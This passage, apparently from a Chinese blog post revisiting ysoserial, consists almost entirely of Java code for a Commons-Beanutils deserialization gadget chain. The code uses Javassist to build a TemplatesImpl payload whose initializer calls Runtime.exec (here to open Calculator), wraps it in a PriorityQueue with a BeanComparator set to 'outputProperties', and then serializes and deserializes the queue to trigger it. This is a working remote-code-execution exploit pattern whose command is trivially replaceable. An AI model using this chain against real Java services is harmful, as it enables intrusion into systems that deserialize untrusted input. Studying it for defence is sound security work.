        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22");
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); 

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

        BeanComparator comparator = new BeanComparator("lowestSetBit");
        PriorityQueue<Object> queue =  new PriorityQueue<Object>(2, comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));


        Field field2=comparator.getClass().getDeclaredField("property");
        field2.setAccessible(true);
        field2.set(comparator,"outputProperties");

        Field field4=queue.getClass().getDeclaredField("queue");
        field4.setAccessible(true);
        Object[] queueArray=(Object[])field4.get(queue);
        queueArray[0] = templatesImpl;
        queueArray[1] = templatesImpl;

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

相关文章

网友评论

      本文标题:第四周—再看ysoserial

      本文链接:https://www.haomeiwen.com/subject/uodmnktx.html